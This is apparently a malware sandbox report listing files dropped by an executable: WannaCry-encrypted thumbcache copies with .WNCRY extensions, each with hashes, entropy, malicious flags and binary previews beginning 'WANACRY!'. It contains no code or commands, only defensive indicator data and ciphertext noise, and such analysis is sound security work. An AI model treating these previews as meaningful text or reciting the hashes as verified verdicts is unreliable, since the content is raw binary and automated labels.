                                                                                                                                                                              SSDEEP:6:bkEKWDXsbQ6BJsHCEIq3DZj7nwDvtJIx6OBHyu1eTpL5jKpxo7W3QCvEan:bkE96/sHCNq3DZ72LG6cvoN2xo7W3d
                                                                                                                                                                              MD5:692CD9FAB2264B4745F5B628BA1DA883
                                                                                                                                                                              SHA1:01414B2074708615DF19BB44481CE3DBADDCF862
                                                                                                                                                                              SHA-256:E986413903286ACEBE3866C261E739E3DA21E151EFC8215794AF990BB187EFF9
                                                                                                                                                                              SHA-512:BC0BEAD1C7776BC9C1535206EE899AF60C6ED058560E8D54684A514476345BB9077A3B9BEF3FF5FB517FF0530B045707963E18F03140473C202625C5B7362C8F
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....95X..=.v.1..... ...]...........5#.....ll..5I...J..C%J.."g...lG.3.,..".l....7.4?T.,a.P.;y...)F....O..f)..P.q.......xn.}..%.d?@........F...j;....|..L...iF......={....c.....*..B...l...7.N&.......I_.[*p.._..|.2?..:....F.>p......uQ.d)...y..I.1]$.o.............bF..Ei5+..>......}....$.....a..

                                                                                                                                                                              C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\Explorer\thumbcache_1280.db.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):312
                                                                                                                                                                              Entropy (8bit):7.261548701757656
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:6:bkEk7q/9aeJL77LgcGJW+WUhLQHMS5C21jNE0jd2jPHajq3CMQ23csdAM:bkE+qlzJL7AxJ5JS5/XjdVjq3X3zdAM
                                                                                                                                                                              MD5:3F9E3B4D8AFF8916495C8796A846B1B8
                                                                                                                                                                              SHA1:651793501D2E5CD62AE9856274B60BB662CFB58E
                                                                                                                                                                              SHA-256:55B4CD629AEDA4B38F5C6F1E34275C0340341CDA3735D5CD8B7D39642C3A57A5
                                                                                                                                                                              SHA-512:D1FB1C13F90796391ED7BA5BCDCB0B04676A9AAE6F918B558798A16226B2608BB59C123F630000D46C4BEFC2CAA7F9FBA2DAFB710EA9DBC1EF397A8BE77076BD
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....HhQ..&&v..Uk.....T.....i.........q./.>..~^.Z.X[..E%.......4.Ws.$\.$4...UY.L.(V....y....CT...E[..,.v<2s..Qo*w.....`_giJsXl...p....+..dg....U.m1...L+.:..kB../1...9".L.Ge..(Y....X[]..oI..G..{..^....l.....B...i;;..A....:.g....P\.q._m..R........................c/./..='...-G..\]..$.

                                                                                                                                                                              C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\Explorer\thumbcache_16.db.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1048856
                                                                                                                                                                              Entropy (8bit):7.999818837973538
                                                                                                                                                                              Encrypted:true
                                                                                                                                                                              SSDEEP:24576:PUr5nMIOlkx+zDbOdh11fDvWnDmjMSZus6Fy+FkAFbgTVVhVuEig:PUmIOlE+XSdV7W4uLU+FkAFbWVVuEB
                                                                                                                                                                              MD5:033CAE348B2C5B5E2EE6337C7B765062
                                                                                                                                                                              SHA1:796BAEE0844849A2979467D628348D6A05583B94
                                                                                                                                                                              SHA-256:1E96E6A75135C8A11231DDB3C465D7C1263E9C107D61EB2632F02B58DD017C34
                                                                                                                                                                              SHA-512:4C4B8FF44B695CA85A041C77B8FA53222CC12E4EF5E1D776C258E82CE8599D8FCB9F2993668AE18ED8AD742F25FC11116FECC38D6F18606253F600652A99621C
                                                                                                                                                                              Malicious:true
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!........v..n...y6..We.O.a...f.1Jn.....a>T..a....0......M.....;.-.]....y...5..5...Q.j.mN.h..n.G...t.[......^.....0.@u...y..=.=..SN.*......T.~[/...b#k.].1$..Xa.....gF..O...;...,.. .BPb.;..G.d..%.a;.+@J/x...V..Hh..|1o,..[..@.e.Y.S..z......I..............!...ne...{.[2...r....4....O).K.n-.hYJJ.]r.,.9.r....Gt.J.......=[.!...KS.s.<fK.5Sh.7.....Ur..w...[..CO.....ni~............43..q...[=l.".n....4..|...1k..V+`...Io.'~..w.Z].&.).8d.!.....2z{\<|._.k......K..q@.#.F.0:.....v.9,..)r."....*.m..x.-...d...fC/.0...|.8.H..!z-P&..C....-..a\r.=...q.@.'.i^.(.>!.<(.W{.aG.$..b...z.....>FI9:Z.(.H.O.L.......N...cFR.F.=.)...Q..H.$#e...z...)A......yJ.o..D...'.......s.....%.v....?.T..b..o.>N.P..1.Qj"V..A?.;.1....":..k...1..S...Y..;a..r..Q.w..(.....H.~'.....DP...BS..o\..]K.._.....;.... l..D...D.!1.k~".|......9V..w......?l#;.h..NO...p..$V.7...`..5........e..6.....|k.9{.2.....l.#-.........j.b.9...L.:.........~/.]Px..q....h.9`D...b.]..wo7%.6..O

                                                                                                                                                                              C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\Explorer\thumbcache_1920.db.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):312
                                                                                                                                                                              Entropy (8bit):7.167244807327674
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:6:bkEyiUP1d9aoARh3HiJbtcz/0IJJm8Xe/XQI7ETFHogrs9iqKRW:bkEZNKcz/NtXe/XQbs9iE
                                                                                                                                                                              MD5:A59041C1EA90CD3982F464D0BCED6189
                                                                                                                                                                              SHA1:CE0D1312B7EBAB17466156ED985685C98761C2FE
                                                                                                                                                                              SHA-256:9B7EF13484594FE0F18F9DDDF7DEF4A1DD7547D54A591CC1FE8B3EA9C5E33E73
                                                                                                                                                                              SHA-512:C0CE78FAF4F422F54487D166876F24123A1B3D5AF64978E505765747DDDB88D1AE87D7C541C47BDD628E91291ECA9AFC832774CBEA7B2C98517B3CB5BFF4AC64
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.....D.r....s.......H..Y..i....j..81P.w'+....!C>...(.K^...]W E.`.r....hb.....@.=....^@.m..3....J...i&.Y.....{L.P.^..YYu...]..u..>.%H.......|:...r._..,......qt.=n}.J.<.......!,.g..d|6....Ewa....6..k^..{...^.s....W^...R..-#......L......>;.+.#..I.+..............tm..l...5>k)...dU%...U.?..*`..

                                                                                                                                                                              C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\Explorer\thumbcache_256.db.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1048856
                                                                                                                                                                              Entropy (8bit):7.999777480764611
                                                                                                                                                                              Encrypted:true
                                                                                                                                                                              SSDEEP:24576:9WdPHzVBfp0MZV08JCdyLQIgjNCLEODvL1oepI:0PHTfHC8J0yUIgJCDvL1oepI
                                                                                                                                                                              MD5:10BB8AE72FE761CE7F4C99062819602B
                                                                                                                                                                              SHA1:E5D5DF01EDCEBF56B82AB40A09243B74897A70DF
                                                                                                                                                                              SHA-256:06FE8613F24241D6146D835BAD874047D680F95C840764645251A45E491492F6
                                                                                                                                                                              SHA-512:F82D86E8B428FEE8060F570607657C9070C8E0C44AF8AEDC2B56D85253ECFEAF0355EF5FA3BD66DC7005B4574567E0D0B30530873D4625C380E65780B3035DDE
                                                                                                                                                                              Malicious:true
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....M!....!rQq..ha|M,z...P.b..u^}.C ...M>..T....kBO..L...I~p..x.y....@....A.Yh..R.D....j>0.Bl.<...Ud...l.e."....G.29.;'..N..L5|.*}F...N.w.....q.+...Xx.....{0..&s.m......W......... ..t...W..9..2...&.....q..\....P.fYn..?.=.M...XP...Q-.....%f..D..g.F..................m....l..F.th.Q......4....QJ+Sg].#...dS..J.:b....4..HeVG.A..q.Ly.m...Wg.K...#..(........ :....{..([....x]\),n(`j{.C.ou=.l..n:....m...:.........Ix.E......:.........j.B.....?D.MS.O}.....S+.JO....C...9..Y.yY....../..R.A.F......H..=.P...,r.(.>..O......Y.....O.'.o...T].=.....Y..I.gI./..R.L_..o.L..Et.N... tr..$.l.s....&...A#Y....l....t./.&...C.....<f(...[b.<.~UY..!o.....,="..c.........cO.u...S.."x<..0.]V...}U9};.3.....h.!~^....C.+L...M._..]B...S.>....sd..N&...[T:...`..K......?`..'..T.QS..<.(>..P....k9.'.|.\........K.6A....)*tZ.|2..5..`B..KA{c"....:....Zy|.~~Q..c..... ...v.z..O..S../t...5V.&..j..qT..:...2........?.9.:..x.a@.Z+....rDN..../....~2P...b.X.:HGI9..7vA..{..rh........&...f%

                                                                                                                                                                              C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\Explorer\thumbcache_2560.db.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):312
                                                                                                                                                                              Entropy (8bit):7.191884158509229
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:6:bkERRQOrESCNyAiRNkMRLmFjnnbbMsoHsgvLTPSCOHJOfqLNu5Ijg+:bkERKOr6yVrFRLyjnPMs6sSOHoyLMZ+
                                                                                                                                                                              MD5:F000E158E7F8D5D8688FFD4E4F69ACE5
                                                                                                                                                                              SHA1:88CF975CE8DC281A1D84B2D20C86078D44EB4B18
                                                                                                                                                                              SHA-256:BBFBA1469D7852D73E36D18B5EA4EF461DFB0ADB118DAADBF8C89C7EE28991CD
                                                                                                                                                                              SHA-512:C1CBD47AB80A3778A4034F53F0AFD94653EC185C4E1122ADAF22A2D468937E1790499EF253BEC2D04ADC198FB8283CA059FF22462036AF5B03F2E8E8017D45E1
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!..........|I..[."...bcy...J..*f...."m~R..I(..`.O.....^...t.T......(...=P..........#3O.....z.s7.;..3..}'YV.....!..."&$.;.kO.o=..._.+..<.i@.......<v.w.a......]I..J:.......-5.$}c.|..i\!..S..^j.p*....K....g...v..x...|.....V..^..p......U..^..z5............#.d...T..ln.|GCbX("7./.|.L...!uE

                                                                                                                                                                              C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\Explorer\thumbcache_32.db.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1048856
                                                                                                                                                                              Entropy (8bit):7.999839310918236
                                                                                                                                                                              Encrypted:true
                                                                                                                                                                              SSDEEP:24576:CAZpV8XmahQ1+Iuy9mRiSmFZugvUK7k56g5CCZCd:BZ8ReRuy4RJmCgsL5Ngv
                                                                                                                                                                              MD5:0C3E198028B0C6AAE05008CDD6481857
                                                                                                                                                                              SHA1:37861FDF477E34511E1326BF79B06148BFFC23E1
                                                                                                                                                                              SHA-256:3E593B6322627626BDE19878B59EC1BBA8A34FC9B90C6FD9B31EDD4A079372CE
                                                                                                                                                                              SHA-512:C12ECB921DD1AD485021A79A52CB0146A213BD7CAA7D1A615BE807C6086F3FD8D9872C140FA7DD8D6F414561047F0EBDDBBC8EBEFB1F008AB16DEBE08DF710E0
                                                                                                                                                                              Malicious:true
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.....4.j..b{....K.,....o.s......_6....\.Z.&.3..Z2.b.l.......&...dd}......w:V.0....- .="....4...H..L.Z..%...r<9..........A3.T!........Y9P...&.c.I66..W.H..(.#8...|.........'0..xS..t.t....9]m.b.5&'.......".KlPs..XP....z..*._\.-~.`;.X.l.=. ......G...%N................~..dv..y...X.......7.q@K.......\.gZ..e/..?h.1].........J.A..)A&.4K......"<.3l...|.>w.L".$....P..a#.\C.T.........l...P.`.s.f...}.2...?.....#.u.n..g./>.........nW......(.X...p)..O%....<.........\.!..6....Y?;......OQ.H.).a..V...'...G........7..K..W.h..X.D.....~.0....!/..~..._.G.PY.F/..`..z........;QtVb.ug.8.....Bv?>..7...rd.m.F.N...%.8\{b.9.t....Yh..d...39..F..-l..5~.[.$:SQ.{.../...`(.h:q.rG.^.|..}p...~....4...~. ..g...[..|.o...><t$.....P..4..:l..H........R....GT..F.;-..|..61.D_{.o%..|...5...q_!?6....Gs..^u........Xt.6.j~?>.Drj.Es...\..VL......p.`.u.B.";.x..O......^.q^..'...7SN,.-....e.5.n..)r.1~^......j0L.e..c-..qj.\..l..{0.....r@W....GS...H;9....L.h.....3..(.(.H.:B..

                                                                                                                                                                              C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\Explorer\thumbcache_48.db.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1048856
                                                                                                                                                                              Entropy (8bit):7.999807421547806
                                                                                                                                                                              Encrypted:true
                                                                                                                                                                              SSDEEP:24576:2V6xkSJfVBqeCJa4MNu3BXkRQ0QaMIhaewI5ju5TOfxg:w6mS1z0JddL0QamIWTOe
                                                                                                                                                                              MD5:9CA7AFEE506E08E446957C676D67BD0B
                                                                                                                                                                              SHA1:6975AAD9E22DF6C1AA7E0708C82FC329E771E833
                                                                                                                                                                              SHA-256:CCE21A29230EBC0B7596163FB0AE3FEABAD0708F428A1ADA05C211ADA9B0891C
                                                                                                                                                                              SHA-512:88E09F82A80EF3C2BE8FB80AE9C8482E485B2C9CD793DB9D18EC7B7E0AD5CC47C3EAF013067F8B8D4E54E11D9D8DEA360F197862DFA2B702882D7017A5092563
                                                                                                                                                                              Malicious:true
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....i5........&.Ie{...m4..1....w.,6.U...6....S.y..7...........B<....aF...7}4....W.....L.mo7O.]....[N..sN....d*d..%.v..&...(=.S..0.].+...w...G..cm .pc....N..^).u}8.S%..{N.SK-..i[......<*.&Mz>+..!.......b.....lrYGV...@..d...,..,s..C..V.y.3.D.{y................p.V......p.$..g.7z..7Vp....~.*...1....$.P.,.~....v4E@4.`%7....t?....R.H..L.......3.".\7..g...$.}5V.no...RQ.......J......TXFL.[..... ^...0.E,4.%...h$|../.]..E..c'.i....=.7....&..+.".Fg....v..%....h.X?@K.f.44jR^.g................R......&g..e... ..N^.If.K.@!F.j.TUU.....k.PlBg.w...E...._.6s..._Q.8E(....'..c......lz......5.2..KU.....?Y..,).f.;JV.....Y..+.f....s*...K...V.TnzP..f........F!.X......1.B..u.>kA.d.......?......L...wn.mrI.p..?&C..F.s/|.D_$P/.........GP....x.p..6&.......m...I<s....m.2qo..>../..Mu...Ie...q.4.x.x1w..'.....XR..G..|...i.&V.H.Pd.#/sl...V.r......?..Lr.n..C..hf^>.&j..F....P.....)@#....t.^....".c..>....j....~.iv..H...{.....a..x.f...._.~.Hr..7.[...y.R.lN

                                                                                                                                                                              C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\Explorer\thumbcache_768.db.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):312
                                                                                                                                                                              Entropy (8bit):7.232784490070323
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:6:bkE57jQfSdmtS10gFjjBEgHXeTBGerdOlxAwZ3orG7N9VLVSIn:bkEZj4SES10AbXeNJrAMG7NjEI
                                                                                                                                                                              MD5:9B35ED9AA8FF8EF23D6891363DA55E3B
                                                                                                                                                                              SHA1:F3818CE5B330BA08663182F404116937B6154229
                                                                                                                                                                              SHA-256:FD0536DE48725A190D8356730E3D34150F649E32179C1F669954A0E9E4568B2C
                                                                                                                                                                              SHA-512:16F15BAF47D9D666295EB55B894F117A7954AE93E39F74C45C992FADAA6DF65BAEAC5091095A2DC62F4246634AF8CC40A48D7AD93582F4B0092C7676D71E0384
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....x.\.d....?.RkF~..$Y.m=..R../..]..G.....G6...#./@:.....S.....q<.D......r.=).E4(.v..C@E...6.geib.n.4.l..bOV-.....{=.......q|.;..S.1.p ^.d[.....BE.'`.{.=......<..sm.h<..P..C....O{.M...N..R...=......|&.k....../F..M....lz......W.s....>.u.6...................=...cEb..\.6i..5.....Ft.=.Q

                                                                                                                                                                              C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\Explorer\thumbcache_96.db.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):4194584
                                                                                                                                                                              Entropy (8bit):7.999954380046845
                                                                                                                                                                              Encrypted:true
                                                                                                                                                                              SSDEEP:98304:v1r2XITAV1kKaDWuTCvhX/5JG+BYbS9WKd2uw9pAiF61raTtS:v1r2XKAVunCvhPbK/K0RpoxaBS
                                                                                                                                                                              MD5:6E77D8C46D2FE7B188F81E3E80057968
                                                                                                                                                                              SHA1:FAA6E86EE90DFDF523F1A92C73C8F2E5BD92810F
                                                                                                                                                                              SHA-256:025C68F991E1CAB8934797F62A88130B1E287FFCA55216D9A16AD50A62EEC965
                                                                                                                                                                              SHA-512:FC66FBE8AD42F611D1AC6014AE54D275F64794C37DACA11DD4D96F59E4599786E6C8216B09D91C0D549F349E7EF9405D0F98D38BAF0931105296F8280EEE2A04
                                                                                                                                                                              Malicious:true
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....^......A/.R...#3.H.....u.|\..I..n..K.77}.h...,~$~..w..a..("..g.&. t12.....C.........7....p......$.;.(..6...S.)..P8N...`.......l...E.Hsu..(MR.SI.S.#f.# ...e..Bk(s%..Pth..07..@*.\......FS...k.....xI.^..~/.H.....`..^....!k..W.<...O#..`.!2A..#........@.....?...>!P"n.4..#.YvC...zE.X...;.t.0........rW....>P.#}S9...%n...0.&.~.8.VBU"..d\...).0..NA.r._9gK|....[7.....&..\Gi4.9.S.=..?..X.....!i..]z....@.{F.A.D....|..%)..Y...D......M..a.B/.... `....h...l..{*)....vv.W...d..l.%3..aD..zx.zH.}Uzzf...2+.Kn.H.j.2@........1.=.....Nd+`}a...Q>M.....i6.|....!.N..v...Z...I.3A.-...Zy..W.....[..&......y.8.]..#7..}Xp.K..b.9.....F......5!U..G.U...K...%.....h.G@...I.jQ..-@..Pj....VsYaq.U....W.F..5E.Kyv|...`.......U(.-.k.......h....#..b...m>....C.A.1&).6..J?.R..:J..a....d....x..k^f...<=.J6....s......$..?.@..F.. a....*hK..M..f6;...9.0...F.G.V.Z[jEq:o......GS..P6.....~..'.y..@..I..E...H.p!$f.......'..`....Z..n..f.|....H..B...p.#....."..V%.....kLBb....A

                                                                                                                                                                              C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\Explorer\thumbcache_custom_stream.db.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):312
                                                                                                                                                                              Entropy (8bit):7.226437745211555
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:6:bkEoZ/2/wWvJWvTjEyN8KtfOvjeJrDpVdf4C9tvckOPHQYyR:bkEoNsooe1u0r/dX/kxvh+
                                                                                                                                                                              MD5:41A9A46191D016445FA9E253E40CCDE0
                                                                                                                                                                              SHA1:26F262EB0B8573E30B6BF38C9432EA18D4811FC2
                                                                                                                                                                              SHA-256:E578A5F16D9A978C92BE3297297C612CC6EE1AC82D7E4A282BD8D284F0CF9433
                                                                                                                                                                              SHA-512:105DDF9C9B0D2F87F43CA8B5FB7CB0026F2BB60E8C7DE64C3AFEB272F42D1DA32224A83199396D392FD86E8B9F92E16654A773FF9AF1F3029C4B8BC75449C93D
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.....Rs...IK*.....VK.O..^r.A..z...7.....[.FN.....C6.......m:+.y......]".@..o{.>........."....h......?...,+.-.........U~...1.l8..J.3.&.b.|E.3...B06...Ci.%...R.9:.[2..[..6p4..ZF.T.6g....6......S..z.>e.W.x.Z.'J.N...N...E..S....&......?..J......./..............2.X.p.....}d".i..@J...m#...%.]..

                                                                                                                                                                              C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\Explorer\thumbcache_exif.db.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):312
                                                                                                                                                                              Entropy (8bit):7.185501978725754
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:6:bkErrgYTrLAwWgTU1/DmMBwLyKLlJm58OEsJAPB31eSP4PEBP5tD8GNG5znHrC:bkE/Vr0wWgg1bzBCtEJJ6BAE5DDI5zn2
                                                                                                                                                                              MD5:C8650FCD212D2CBEA31984241E38AD1A
                                                                                                                                                                              SHA1:0877D36A3883BEAA82913C457741B10093388C9A
                                                                                                                                                                              SHA-256:7580D0912A0C24635B129EF4B7C60E1721AFA17B1C6AD3D8E61B91519DCFA75F
                                                                                                                                                                              SHA-512:FFA6FB5C020F7D721C8FE36BAE847DD6520EA91307D6373A02936FCF2B8DB432BB6F20063ACD131EB64DF0FB74C0E9B3CF325BA8299F05D9CD39D5A42B5ECDB7
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!........=N.*........&..,m.`.@}.w......#..{ v=...&../..pt..DT..N..KT.m.K....{Y....>.C...4...f.W.[.C.....y@....WW.>..%..........u.&..U.`...H.%.%a..s..+.Iy|...;.k|..!..=..Z..!..........h...$..ZY.oAgB...........jK....j.%9.....S...9...}.....2.c..@.. ..............(~DTcT....B8^j.H...d3 .^.....QO.

                                                                                                                                                                              C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\Explorer\thumbcache_idx.db.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):58600
                                                                                                                                                                              Entropy (8bit):7.996830251801112
                                                                                                                                                                              Encrypted:true
                                                                                                                                                                              SSDEEP:1536:C8/Yvd4EG2x5SEJt/+qXJslhK3rZBnW0tDu82w5:C8cdfx5TY83X4w5
                                                                                                                                                                              MD5:E290B6694F09E33B108B0DE16944CDCB
                                                                                                                                                                              SHA1:4275D19499F2A4ABA1B776A1102343AB09F22311
                                                                                                                                                                              SHA-256:C50C9912D14943E4D11FCD78BEA48F90836966EF370A1C744EED09D97A4CF6AC
                                                                                                                                                                              SHA-512:5A229808E416861F2A7BFD84C40197F6D42E6A4C61D848326597A575FB17B26030B7E22DEF7AABDD84EF56FDCE0DF778D3AF93C1CCE10ECE4BD4E541558A1458
                                                                                                                                                                              Malicious:true
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!..........dg/g.V.1_.q.....Zi..7".....U.{..;....|.t`R.X...Gq..Y........'....3....5......W7..4.p.(..<s. ..5...o...^^;i4._Y...?.[..t.....d.D....Qn...y..9G.T.....n...E..U.BW.vP....8.{3O.`.....M9...)%:<<..N.M.a.....%..R....a,sQ..)\..@.1.2....G....q.Kr............MO..Ke..4W.3W...oUB.O\......r...f..d. ...>e.I..6.........$.7.\..E.;.....tO.O.....j.6...@....p:..>.`.M.7.y#..f.....k.v.:6%+0q[".sw..B.n~-..:.v\R.*/d.i.zt..h..-...k?Vbi.~.A...t..._..v5..bp..9......;...&.....?e.1]...=&-^#hU0.U......%HX7h...}......m...w`..lUR.\........o..cnJ....+.8.0...S..:....v....i..Qe?j.:.....S..8E.+...19..w...[..=..8..:7..pC.......#.<..M.d...9s.....HTr2s. .QQp..'T48...."[.XuH...F.>....w`......XKCc...-2...K.._..XqS,".V... p,..^..8...U[..2...^..;.^.g.&....2.o/.4_..y........:.$......`..;..(..F.h.....g.,.+\S.g.Q7@F.....z..V.t.....9\0..<....G....w....".I..>59. ....1.f.^.n<...f...o..l..j...@..B:F.H6.....T.......i.....d..._=...2..%.*........p.J.i..Oa.o....p.Hku.w./....

                                                                                                                                                                              C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\Explorer\thumbcache_sr.db.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):312
                                                                                                                                                                              Entropy (8bit):7.136319357033618
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:6:bkEQaWVGCZO8H3RcJ3MAcqT5w2n8TM3JcAfSKMgZ+JDdGp73A4yUZBGo:bkEQagGCZmJgsXeQ+WN0JDdGp73uUH
                                                                                                                                                                              MD5:6030FFFFE54F8A440F849E9BE38C4579
                                                                                                                                                                              SHA1:BDF1D260ABEBA715A2823A6976F06F143FE8EFE9
                                                                                                                                                                              SHA-256:C421AF1846932539A50A6A844096066A429C823964C31983FC4C49C6F1A7F985
                                                                                                                                                                              SHA-512:E877BBD7994E9180776700CB1147BBAED6D9379170E941CC0780936BA281809901475C1ED41BAD68C8DE9FCE8DDAE257FE25D349FA32CFF672AED1FA1E9B4711
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!...._..D.<.s....X.....U.*.5../..w......L.1L."e.p@...E...yw"..'u=..6.]0....s}..9.......$....9.k.1.......C..CuO..B/..s.d..V.^#5.A......5....Si.#..I]y.PV;2.._.....5*AD.<~.C...).1..p.$K.L!B.*.0.. W.Dq.=.W2....w[9.k..j._].+.....u.]....]p.......~.8.9..7.p..x............t...`.`.@...-....5...=...h../...

                                                                                                                                                                              C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\Explorer\thumbcache_wide.db.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):312
                                                                                                                                                                              Entropy (8bit):7.319158216023799
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:6:bkEuwl2sEHHfHeNvR1h6AeYWbLa4aAM3aI4/rVReA3gjPQmg4lx4z48A:bkERtEf+NpX6TS4t2aI4D6djPQmg4liA
                                                                                                                                                                              MD5:30484748FD19755AE84FBFA213D3DB45
                                                                                                                                                                              SHA1:FDF69C82FFBD67B5FC312A2CC76840A2B240B13E
                                                                                                                                                                              SHA-256:DD4504D17ED0BFC9363C84DF2B703287048AB907174ECD6E52980E0E021648F1
                                                                                                                                                                              SHA-512:538C2588EC4A9B98E64957D212DC83A64B0FF315BE16DF649E6D3343044D88453C0D76D0EC13882664B6F01CEEA471DE54E0A0CF38BC882F2F951DBEF79CBBF8
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!......u8..~)_..np.z.<....F..x...G<.D.7.....Z.W....2E{..E.~c...z....._X..<..<c.a....Z.A........J.M....;?.}.[;.Q.t.........,<.....U.M.R.........p....m-.>...9qp...j.`..-..b.d.12./...._..N7.#uh....nq...........&...oOOQ^.Vt?.d.v....v....RT.?...S.1.=.|...............p..\...,..x.......<I.".~.N

